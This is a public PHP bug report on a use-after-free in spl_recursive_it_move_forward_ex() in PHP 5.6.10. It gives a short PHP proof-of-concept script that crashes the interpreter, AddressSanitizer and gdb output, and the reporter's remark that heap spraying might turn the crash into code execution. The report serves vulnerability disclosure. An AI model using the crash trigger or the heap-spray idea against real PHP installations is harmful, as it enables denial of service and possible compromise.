PHP :: Bug #69970 :: Use-after-free vulnerability in spl_recursive_it_move_forward_ex()
| Bug #69970 | Use-after-free vulnerability in spl_recursive_it_move_forward_ex() | ||||
|---|---|---|---|---|---|
| Submitted: | 2015-06-30 15:14 UTC | Modified: | 2015-07-05 04:05 UTC | ||
| From: | s dot paraschoudis at gmail dot com | Assigned: | |||
| Status: | Closed | Package: | Reproducible crash | ||
| PHP Version: | 5.6.10 | OS: | Ubuntu 14.04.1 LTS (32 bit) | ||
| Private report: | No | CVE-ID: | None | ||
[2015-06-30 15:14 UTC] s dot paraschoudis at gmail dot com
Description:
------------
PoC
==============
<?php
class RecursiveArrayIteratorIterator extends RecursiveIteratorIterator {
function rewind() {
echo "dummy\n";
}
function endChildren() {
echo $this->getDepth();
// Trigger use-after-free
parent::rewind();
}
}
$arr = array("a", array("ba", array("bba", "bbb")));
$obj = new RecursiveArrayIterator($arr);
$rit = new RecursiveArrayIteratorIterator($obj);
foreach ($rit as $k => $v) {
echo ($rit->getDepth()) . "$k=>$v\n";
}
?>
Running the following PoC we get:
user@ubuntuvm:~/$ USE_ZEND_ALLOC=0 ~/Desktop/php-5.6.10/sapi/cli/php iterator_uaf.php
=================================================================
==3109== ERROR: AddressSanitizer: heap-use-after-free on address 0xb591ec74 at pc 0x87048d4 bp 0xbfb9a8a8 sp 0xbfb9a89c
READ of size 4 at 0xb591ec74 thread T0
#0 0x87048d3 in spl_recursive_it_move_forward_ex spl_iterators.c:383
#1 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
#2 0x8aa46de in zend_call_function zend_execute_API.c:847
#3 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
#4 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
#5 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
#6 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
#7 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
#8 0x8ade628 in zend_execute_scripts zend.c:1341
#9 0x894d95b in php_execute_script main.c:2597
#10 0x8d14b83 in do_cli php_cli.c:994
#11 0x8d172c0 in main php_cli.c:1378
#12 0xb5d76a82 in __libc_start_main libc-start.c:287
#13 0x80628b0 in _start ??:?
0xb591ec74 is located 4 bytes inside of 24-byte region [0xb591ec70,0xb591ec88)
freed by thread T0 here:
#0 0xb611c774 in __interceptor_free ??:?
#1 0x8a2de51 in _efree zend_alloc.c:2437
#2 0x8729964 in spl_array_it_dtor spl_array.c:999
#3 0x8704cf8 in spl_recursive_it_rewind_ex spl_iterators.c:400
#4 0x8706b48 in zim_spl_RecursiveIteratorIterator_rewind spl_iterators.c:608
#5 0x8b9f3a7 in zend_do_fcall_common_helper_SPEC zend_vm_execute.h:558
#6 0x8ba0dac in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER zend_vm_execute.h:693
#7 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
#8 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
#9 0x8aa4049 in zend_call_function zend_execute_API.c:829
#10 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
#11 0x870480f in spl_recursive_it_move_forward_ex spl_iterators.c:374
#12 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
#13 0x8aa46de in zend_call_function zend_execute_API.c:847
#14 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
#15 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
#16 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
#17 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
#18 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
#19 0x8ade628 in zend_execute_scripts zend.c:1341
#20 0x894d95b in php_execute_script main.c:2597
#21 0x8d14b83 in do_cli php_cli.c:994
#22 0x8d172c0 in main php_cli.c:1378
#23 0xb5d76a82 in __libc_start_main libc-start.c:287
previously allocated by thread T0 here:
#0 0xb611c854 in malloc ??:?
#1 0x8a2dd20 in _emalloc zend_alloc.c:2427
#2 0x872aa3b in spl_array_get_iterator spl_array.c:1177
#3 0x8704323 in spl_recursive_it_move_forward_ex spl_iterators.c:351
#4 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
#5 0x8aa46de in zend_call_function zend_execute_API.c:847
#6 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
#7 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
#8 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
#9 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
#10 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
#11 0x8ade628 in zend_execute_scripts zend.c:1341
#12 0x894d95b in php_execute_script main.c:2597
#13 0x8d14b83 in do_cli php_cli.c:994
#14 0x8d172c0 in main php_cli.c:1378
#15 0xb5d76a82 in __libc_start_main libc-start.c:287
==3455== ABORTING
Without ASAN instrumentation:
gdb-peda$ run iterator_uaf.php
Starting program: /home/user/Desktop/php5610/sapi/cli/php iterator_uaf.php
dummy
00=>a
00=>a
10=>ba
20=>bba
21=>bbb
210
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5a5a5a5a ('ZZZZ')
EBX: 0xbfffba18 --> 0xb7be2410 --> 0x0
ECX: 0x14
EDX: 0xb7c ('|\x0b')
ESI: 0xb7be1f48 --> 0x2
EDI: 0xbfffb9d0 --> 0xb7be1f48 --> 0x2
EBP: 0xbfffb8d8 --> 0xbfffb908 --> 0xbfffb9e8 --> 0xbfffba88 --> 0xbfffbad8 --> 0xbfffbb58 --> 0xbfffbb88 --> 0xbfffbba8 --> 0xbfffbc18 --> 0xbfffddc8 --> 0xbfffefb8 --> 0xbffff0d8 --> 0x0
ESP: 0xbfffb880 --> 0xbfffb8e4 --> 0xb7be1f48 --> 0x2
EIP: 0x82da01e (<spl_recursive_it_move_forward_ex+2065>: mov eax,DWORD PTR [eax])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x82da013 <spl_recursive_it_move_forward_ex+2054>: call 0x8445051 <zend_clear_exception>
0x82da018 <spl_recursive_it_move_forward_ex+2059>: mov eax,DWORD PTR [ebp-0x18]
0x82da01b <spl_recursive_it_move_forward_ex+2062>: mov eax,DWORD PTR [eax+0x4]
=> 0x82da01e <spl_recursive_it_move_forward_ex+2065>: mov eax,DWORD PTR [eax]
0x82da020 <spl_recursive_it_move_forward_ex+2067>: mov edx,DWORD PTR [ebp-0x18]
0x82da023 <spl_recursive_it_move_forward_ex+2070>: mov DWORD PTR [esp],edx
0x82da026 <spl_recursive_it_move_forward_ex+2073>: call eax
0x82da028 <spl_recursive_it_move_forward_ex+2075>: mov eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xbfffb880 --> 0xbfffb8e4 --> 0xb7be1f48 --> 0x2
0004| 0xbfffb884 --> 0xb7bdf8e4 --> 0x2
0008| 0xbfffb888 --> 0xb7be2198 --> 0xb7bdfc10 --> 0x8425002 (<zend_stack_push+210>: add eax,ecx)
0012| 0xbfffb88c --> 0x88b1010 ("endchildren")
0016| 0xbfffb890 --> 0xb ('\x0b')
0020| 0xbfffb894 --> 0x0
0024| 0xbfffb898 --> 0x0
0028| 0xbfffb89c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x082da01e in spl_recursive_it_move_forward_ex (object=0xb7be215c, zthis=0xb7be1f48) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:383
383 iterator->funcs->dtor(iterator TSRMLS_CC);
gdb-peda$ bt
#0 0x082da01e in spl_recursive_it_move_forward_ex (object=0xb7be215c, zthis=0xb7be1f48) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:383
#1 0x082dad68 in zim_spl_RecursiveIteratorIterator_next (ht=0x0, return_value=0xb7be2410, return_value_ptr=0xbfffba18, this_ptr=0xb7be1f48, return_value_used=0x1) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:674
#2 0x08416f48 in zend_call_function (fci=0xbfffba5c, fci_cache=0xbfffba48) at /home/user/Desktop/php5610/Zend/zend_execute_API.c:847
#3 0x0844380d in zend_call_method (object_pp=0xbfffbac8, obj_ce=0xb7bdf8e4, fn_proxy=0xb7bdf9dc, function_name=0x8926e60 "next", function_name_len=0x4, retval_ptr_ptr=0x0, param_count=0x0, arg1=0x0, arg2=0x0) at /home/user/Desktop/php5610/Zend/zend_interfaces.c:97
#4 0x08443c82 in zend_user_it_move_forward (_iter=0xb7bdf2d4) at /home/user/Desktop/php5610/Zend/zend_interfaces.c:224
#5 0x0847d766 in ZEND_FE_FETCH_SPEC_VAR_HANDLER (execute_data=0xb7bc1288) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:14024
#6 0x08462492 in execute_ex (execute_data=0xb7bc1288) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:363
#7 0x084624f7 in zend_execute (op_array=0xb7bde9f8) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:388
#8 0x0842845a in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/user/Desktop/php5610/Zend/zend.c:1341
#9 0x083a93b8 in php_execute_script (primary_file=0xbfffde90) at /home/user/Desktop/php5610/main/main.c:2597
#10 0x084c5493 in do_cli (argc=0x2, argv=0x89bf018) at /home/user/Desktop/php5610/sapi/cli/php_cli.c:994
#11 0x084c64e0 in main (argc=0x2, argv=0x89bf018) at /home/user/Desktop/php5610/sapi/cli/php_cli.c:1378
#12 0xb7c35a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#13 0x08062541 in _start ()
As you can see the crash occured while trying to dereference EAX which currently points to freed memory.
Please notice the call EAX instruction at spl_recursive_it_move_forward_ex+2073, it looks like if we manage
to control EAX (with heap spraying) we might be able to gain code execution.
I will try to provide a PoC that demonstrates that at some phase.
Regards,
Symeon.
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2015-07-05 04:05 UTC] stas@php.net
-Type: Security +Type: Bug